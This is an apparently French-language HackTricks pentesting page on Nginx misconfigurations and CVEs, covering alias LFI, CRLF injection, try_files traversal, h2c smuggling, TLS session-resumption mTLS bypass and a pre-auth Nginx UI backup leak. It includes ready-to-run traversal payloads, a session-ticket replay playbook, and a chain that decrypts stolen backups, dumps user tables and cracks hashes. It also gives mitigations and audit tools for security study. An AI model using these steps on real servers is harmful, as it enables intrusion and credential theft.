Nginx

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Emplacement root manquant

Lors de la configuration du serveur Nginx, la directive root joue un rôle crucial en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l’exemple ci-dessous:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Dans cette configuration, /etc/nginx est désigné comme le répertoire root. Cette configuration permet d’accéder aux fichiers situés dans le répertoire root spécifié, comme /hello.txt. Cependant, il est crucial de noter qu’une seule location spécifique (/hello.txt) est définie. Il n’existe aucune configuration pour la root location (location / {...}). Cette omission signifie que la directive root s’applique globalement, ce qui permet aux requêtes vers le chemin root / d’accéder aux fichiers sous /etc/nginx.

Une considération critique de sécurité découle de cette configuration. Une simple requête GET, comme GET /nginx.conf, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé dans /etc/nginx/nginx.conf. Définir le root vers un répertoire moins sensible, comme /etc, pourrait atténuer ce risque, mais cela peut toujours permettre un accès non intentionnel à d’autres fichiers critiques, y compris d’autres fichiers de configuration, des access logs, et même des credentials chiffrés utilisés pour l’HTTP basic authentication.

Alias LFI Misconfiguration

Dans les fichiers de configuration de Nginx, une inspection attentive des directives “location” est nécessaire. Une vulnérabilité connue sous le nom de Local File Inclusion (LFI) peut être introduite involontairement via une configuration ressemblant à la suivante :

location /imgs {
alias /path/images/;
}

Cette configuration est vulnérable aux attaques LFI car le serveur interprète des requêtes comme /imgs../flag.txt comme une tentative d’accéder à des fichiers en dehors du répertoire prévu, en résolvant effectivement vers /path/images/../flag.txt. Cette faille permet aux attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.

Pour atténuer cette vulnérabilité, la configuration doit être ajustée pour :

location /imgs/ {
alias /path/images/;
}

Plus d’infos : https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Tests Accunetix :

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Restriction de chemin unsafe

Consultez la page suivante pour apprendre à bypass des directives comme :

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Utilisation non sécurisée de variables / HTTP Request Splitting

Caution

Variables vulnérables $uri et $document_uri, et cela peut être corrigé en les remplaçant par $request_uri.

Un regex peut également être vulnérable comme :

location ~ /docs/([^/])? { … $1 … } - Vulnérable

location ~ /docs/([^/\s])? { … $1 … } - Non vulnérable (vérification des espaces)

location ~ /docs/(.*)? { … $1 … } - Non vulnérable

Une vulnérabilité dans la configuration de Nginx est démontrée par l’exemple ci-dessous :

location / {
return 302 https://example.com$uri;
}

Les caractères \r (Carriage Return) et \n (Line Feed) signifient des caractères de nouvelle ligne dans les requêtes HTTP, et leurs formes encodées en URL sont représentées par %0d%0a. Inclure ces caractères dans une requête (par exemple, http://localhost/%0d%0aDetectify:%20clrf) vers un serveur mal configuré fait que le serveur émet un nouvel en-tête nommé Detectify. Cela se produit parce que la variable $uri décode les caractères de nouvelle ligne encodés en URL, ce qui entraîne un en-tête inattendu dans la réponse :

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Découvrez-en davantage sur les risques du CRLF injection et du response splitting à https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Also this technique is explained in this talk avec quelques exemples vulnérables et des mécanismes de détection. Par exemple, afin de détecter cette mauvaise configuration depuis une perspective blackbox, vous pourriez utiliser ces requêtes :

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Si c’est vulnérable, la première renverra une réponse car “X” est n’importe quelle méthode HTTP, et la seconde renverra une erreur car H n’est pas une méthode valide. Le serveur recevra donc quelque chose comme : GET / H HTTP/1.1 et cela déclenchera l’erreur.

Another detection examples would be:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Certaines configurations vulnérables trouvées et présentées dans cette talk étaient :

  • Note how $uri is set as is in the final URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Notez comment encore $uri est dans l’URL (cette fois à l’intérieur d’un paramètre)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Maintenant dans AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

Il a été découvert que des données fournies par l’utilisateur pouvaient être traitées comme une variable Nginx dans certaines circonstances. La cause de ce comportement reste quelque peu insaisissable, pourtant ce n’est ni rare ni simple à vérifier. Cette anomalie a été mise en avant dans un rapport de sécurité sur HackerOne, consultable here. Une enquête plus poussée sur le message d’erreur a conduit à identifier son occurrence dans le SSI filter module of Nginx’s codebase, pointant Server Side Includes (SSI) comme cause profonde.

Pour détecter cette mauvaise configuration, la commande suivante peut être exécutée, ce qui consiste à définir un referer header pour tester l’affichage de variables :

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Les scans de cette mauvaise configuration sur différents systèmes ont révélé plusieurs instances où des variables Nginx pouvaient être affichées par un utilisateur. Cependant, une diminution du nombre d’instances vulnérables suggère que les efforts pour corriger ce problème ont été quelque peu efficaces.

Using try_files with $URI$ARGS variables

La mauvaise configuration Nginx suivante peut conduire à une vulnérabilité LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Dans notre configuration, nous avons la directive try_files, qui est utilisée pour vérifier l’existence de fichiers dans un ordre spécifié. Nginx servira le premier qu’il trouvera. La syntaxe de base de la directive try_files est la suivante :

try_files file1 file2 ... fileN fallback;

Nginx vérifiera l’existence de chaque fichier dans l’ordre spécifié. Si un fichier existe, il sera servi immédiatement. Si aucun des fichiers spécifiés n’existe, la requête sera transmise à l’option de fallback, qui peut être une autre URI ou une page d’erreur spécifique.

Cependant, lors de l’utilisation des variables $uri$args dans cette directive, Nginx essaiera de chercher un fichier qui correspond à l’URI de la requête combinée avec tous les arguments de la chaîne de requête. Par conséquent, nous pouvons exploiter cette configuration :

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Avec le payload suivant :

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Avec notre payload, nous allons sortir du répertoire racine (défini dans la configuration de Nginx) et charger le fichier /etc/passwd. Dans les debug logs, nous pouvons observer comment Nginx essaie les fichiers :

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC contre Nginx en utilisant la configuration mentionnée ci-dessus : Example burp request

Lecture de la réponse brute du backend

Nginx offre une fonctionnalité via proxy_pass qui permet d’intercepter les erreurs et les en-têtes HTTP produits par le backend, dans le but de masquer les messages d’erreur et les en-têtes internes. Cela est réalisé par Nginx en servant des pages d’erreur personnalisées en réponse aux erreurs du backend. Cependant, des problèmes surviennent lorsque Nginx rencontre une requête HTTP invalide. Une telle requête est transférée au backend telle quelle, et la réponse brute du backend est ensuite renvoyée directement au client sans intervention de Nginx.

Considérons un exemple de scénario impliquant une application uWSGI :

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Pour gérer cela, des directives spécifiques dans la configuration de Nginx sont utilisées :

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Cette directive permet à Nginx de servir une réponse personnalisée pour les réponses du backend avec un code de statut supérieur à 300. Elle garantit que, pour notre exemple d’application uWSGI, une réponse 500 Error est interceptée et gérée par Nginx.
  • proxy_hide_header: Comme son nom l’indique, cette directive masque des en-têtes HTTP spécifiés au client, améliorant la confidentialité et la sécurité.

Lorsqu’une requête GET valide est effectuée, Nginx la traite normalement, en renvoyant une réponse d’erreur standard sans révéler d’en-têtes secrets. Cependant, une requête HTTP invalide contourne ce mécanisme, ce qui entraîne l’exposition des réponses brutes du backend, y compris les en-têtes secrets et les messages d’erreur.

merge_slashes set to off

Par défaut, la directive merge_slashes de Nginx est définie sur on, ce qui compresse plusieurs slashs consécutifs dans une URL en un seul slash. Cette fonctionnalité, tout en simplifiant le traitement des URL, peut involontairement masquer des vulnérabilités dans les applications derrière Nginx, en particulier celles sujettes aux attaques de local file inclusion (LFI). Les experts en sécurité Danny Robinson et Rotem Bar ont mis en évidence les risques potentiels associés à ce comportement par défaut, surtout lorsque Nginx agit comme reverse-proxy.

Pour atténuer ces risques, il est recommandé de mettre la directive merge_slashes sur off pour les applications sensibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l’application sans modifier la structure de l’URL, et ne masque donc aucun problème de sécurité sous-jacent.

Pour plus d’informations, consultez Danny Robinson and Rotem Bar.

Maclicious Response Headers

Comme montré dans this writeup, certains headers, s’ils sont présents dans la réponse du web server, vont modifier le comportement du proxy Nginx. Vous pouvez les consulter in the docs :

  • X-Accel-Redirect: Indique à Nginx de rediriger en interne une requête vers un emplacement spécifié.
  • X-Accel-Buffering: Contrôle si Nginx doit mettre en buffer la réponse ou non.
  • X-Accel-Charset: Définit le jeu de caractères de la réponse lors de l’utilisation de X-Accel-Redirect.
  • X-Accel-Expires: Définit le temps d’expiration de la réponse lors de l’utilisation de X-Accel-Redirect.
  • X-Accel-Limit-Rate: Limite le débit de transfert des réponses lors de l’utilisation de X-Accel-Redirect.

Par exemple, le header X-Accel-Redirect provoquera un redirect interne dans nginx. Ainsi, avoir une configuration nginx avec quelque chose comme root / et une réponse du web server contenant X-Accel-Redirect: .env fera que nginx enverra le contenu de /.env (Path Traversal).

Default Value in Map Directive

Dans la configuration Nginx, la directive map joue souvent un rôle dans le contrôle d’autorisation. Une erreur courante consiste à ne pas spécifier une valeur default, ce qui pourrait entraîner un accès non autorisé. Par exemple:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Sans default, un malicious user peut contourner la sécurité en accédant à une URI undefined dans /map-poc. The Nginx manual recommande de définir une default value pour éviter de tels problèmes.

DNS Spoofing Vulnerability

Le DNS spoofing contre Nginx est possible dans certaines conditions. Si un attaquant connaît le DNS server utilisé par Nginx et peut intercepter ses requêtes DNS, il peut spoofing des enregistrements DNS. Cette méthode est toutefois inefficace si Nginx est configuré pour utiliser localhost (127.0.0.1) pour la résolution DNS. Nginx permet de spécifier un DNS server comme suit :

resolver 8.8.8.8;

proxy_pass et internal Directives

La directive proxy_pass est utilisée pour rediriger des requêtes vers d’autres serveurs, soit en interne, soit en externe. La directive internal garantit que certains emplacements ne sont accessibles qu’au sein de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif afin d’éviter des failles de sécurité.

proxy_set_header Upgrade & Connection

Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une attaque h2c Smuggling attack pourrait être réalisée pour accéder à des endpoints protégés/internes.

Caution

Cette vulnérabilité permettrait à un attaquant d’établir une connexion directe avec le endpoint proxy_pass (http://backend:9999 dans ce cas), dont le contenu ne sera pas vérifié par nginx.

Exemple de configuration vulnérable pour voler /flag depuis here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Note that even if the proxy_pass was pointing to a specific path such as http://backend:9999/socket.io the connection will be stablished with http://backend:9999 so you can contact any other path inside that internal endpoint. So it doesn’t matter if a path is specified in the URL of proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

During 2024 Nginx disclosed CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 and CVE-2024-35200 showing that a single hostile QUIC session can crash worker processes or leak memory whenever the experimental ngx_http_v3_module is compiled in and a listen ... quic socket is exposed. Impacted builds are 1.25.0–1.25.5 and 1.26.0, while 1.27.0/1.26.1 ship the fixes; the memory disclosure (CVE-2024-34161) additionally requires MTUs larger than 4096 bytes to surface sensitive data (details in the 2024 nginx advisory referenced below).

Recon & exploitation hints

  • HTTP/3 is opt-in, so scan for Alt-Svc: h3=":443" responses or brute-force UDP/443 QUIC handshakes; once confirmed, fuzz the handshake and STREAM frames with custom quiche-client/nghttp3 payloads to trigger worker crashes and force log leakage.
  • Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

Contournement de la reprise de session TLS de l’authentification par certificat client (CVE-2025-23419)

Un avis de février 2025 a révélé que nginx 1.11.4–1.27.3 compilé avec OpenSSL permet de réutiliser une session TLS 1.3 d’un virtual host basé sur le nom vers un autre, de sorte qu’un client ayant négocié un host sans certificat peut rejouer le ticket/PSK pour sauter vers un vhost protégé avec ssl_verify_client on; et ignorer complètement mTLS. Le bug se déclenche chaque fois que plusieurs virtual hosts partagent le même cache de session TLS 1.3 et les tickets (voir l’avis nginx 2025 référencé ci-dessous).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Si la cible est vulnérable, le second handshake se termine sans présenter de certificat client, révélant des emplacements protégés.

What to audit

  • Mixed server_name blocks that share ssl_session_cache shared:SSL plus ssl_session_tickets on;.
  • Admin/API blocks that expect mTLS but inherit shared session cache/ticket settings from public hosts.
  • Automation that enables TLS 1.3 session resumption globally (e.g., Ansible roles) without considering vhost isolation.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

L’attaque HTTP/2 Rapid Reset (CVE-2023-44487) affecte toujours nginx lorsque les opérateurs augmentent keepalive_requests ou http2_max_concurrent_streams au-delà des valeurs par défaut : un attaquant ouvre une connexion HTTP/2, la noie sous des milliers de streams, puis envoie immédiatement des trames RST_STREAM afin que la limite de concurrence ne soit jamais atteinte, tandis que le CPU continue de chauffer sur la logique de tear-down. Les valeurs par défaut de Nginx (128 streams concurrents, 1000 keepalive requests) limitent l’impact ; pousser ces limites « beaucoup plus haut » rend trivial le fait de saturer les workers même depuis un seul client (voir le write-up de F5 référencé ci-dessous).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Les hôtes qui révèlent des valeurs inhabituellement élevées pour ces directives sont des cibles de choix : un client HTTP/2 peut boucler sur la création de streams et des frames RST_STREAM instantanées pour maintenir le CPU à fond sans dépasser la limite de concurrence.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI est un panneau d’administration séparé pour nginx, et non le daemon nginx lui-même. Dans Nginx UI < 2.3.3, l’endpoint d’export de backup peut être accessible sans authentification et la réponse peut aussi leak la clé AES-256-CBC et l’IV nécessaires pour déchiffrer le backup via l’en-tête X-Backup-Security. Cela transforme un « téléchargement de backup chiffré » en divulgation immédiate d’identifiants / tokens / clés privées.

Fast version fingerprinting from SPA assets

Si la page de login est une SPA gourmande en JS, récupérez le bundle principal depuis / et cherchez un chunk de version dédié :

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Sur les builds Nginx UI vulnérables, cela renvoie souvent un littéral tel que const t="2.3.2", ce qui suffit pour faire correspondre la plage vulnérable avant l’authentification.

Vérifier les endpoints API exposés et récupérer la backup

Même lorsque la plupart des routes /api/* renvoient 403, testez directement les endpoints de type backup :

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Si vulnérable, X-Backup-Security contient base64(key):base64(iv). Décoder les deux valeurs et confirmer les longueurs attendues (clé de 32 octets, IV de 16 octets):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Après déchiffrement, inspectez les configs nginx récupérées et les données de l’application Nginx UI. Un chemin post-exploitation courant est :

  • Extraire les détails reverse-proxy et vhost depuis nginx_dec.zip
  • Inspecter nginx-ui_dec.zip pour app.ini, database.db, des API tokens, ou du matériel de certificat
  • Dumper la table SQLite users et casser offline les password hashes récupérés
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

This pattern vaut la peine d’être testé aussi dans d’autres produits admin : un export “encrypted” non authentifié reste une divulgation en clair si la réponse divulgue le matériel de décryption ou le stocke avec l’archive.

Try it yourself

Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour configurer votre propre serveur de test Nginx vulnérable avec certaines des mauvaises configurations discutées dans cet article et essayer de les trouver vous-même !

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (un fork mis à jour de GIXY) est un tool pour analyser les configurations Nginx, avec pour objectif de trouver des vulnerabilities, des directives insecure et des mauvaises configurations risquées. Il détecte aussi les mauvaises configurations affectant les performances et repère les opportunités de hardening manquées, permettant une détection automatisée des failles.
  • gixy-ng (le fork activement maintenu de GIXY) est un tool pour analyser les configurations Nginx, avec pour objectif de trouver des vulnerabilities, des directives insecure et des mauvaises configurations risquées. Il détecte aussi les mauvaises configurations affectant les performances et repère les opportunités de hardening manquées, permettant une détection automatisée des failles.

Nginxpwner

Nginxpwner est un tool simple pour rechercher les mauvaises configurations et vulnerabilities courantes de Nginx.

References

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks